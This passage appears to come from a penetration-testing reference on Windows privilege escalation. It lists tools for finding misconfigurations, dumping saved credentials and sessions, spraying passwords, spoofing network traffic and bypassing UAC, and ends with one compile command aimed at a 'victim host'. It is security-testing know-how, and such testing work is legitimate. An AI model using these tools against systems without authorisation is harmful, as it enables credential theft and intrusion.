More information about what is UAC and how to bypass it

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS


PowerSploit-Privesc(PowerUP) -- Check for misconfigurations and sensitive files (check here). Detected. JAWS -- Check for some possible misconfigurations and gather info (check here). privesc -- Check for misconfigurations SessionGopher -- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local. Invoke-WCMDump -- Extracts crendentials from Credential Manager. Detected. DomainPasswordSpray -- Spray gathered passwords across domain Inveigh -- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool. Sherlock -- Search for known privesc vulnerabilities (DEPRECATED for Watson) WINspect -- Local checks (Need Admin rights)


Watson -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled) SeatBelt -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled) LaZagne -- Extracts credentials from lots of softwares (precompiled exe in github) Beroot -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not works well in Win10. Windows-Privesc-Check -- Check for possible misconfigurations (exe from python). Not recommended. It does not works well in Win10.


winPEASbat -- Tool created based in this post (it does not need accesschk to work properly but it can use it).


Windows-Exploit-Suggester -- Reads the output of systeminfo and recommends working exploits (local python) Windows Exploit Suggester Next Generation -- Reads the output of systeminfo andrecommends working exploits (local python)



You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line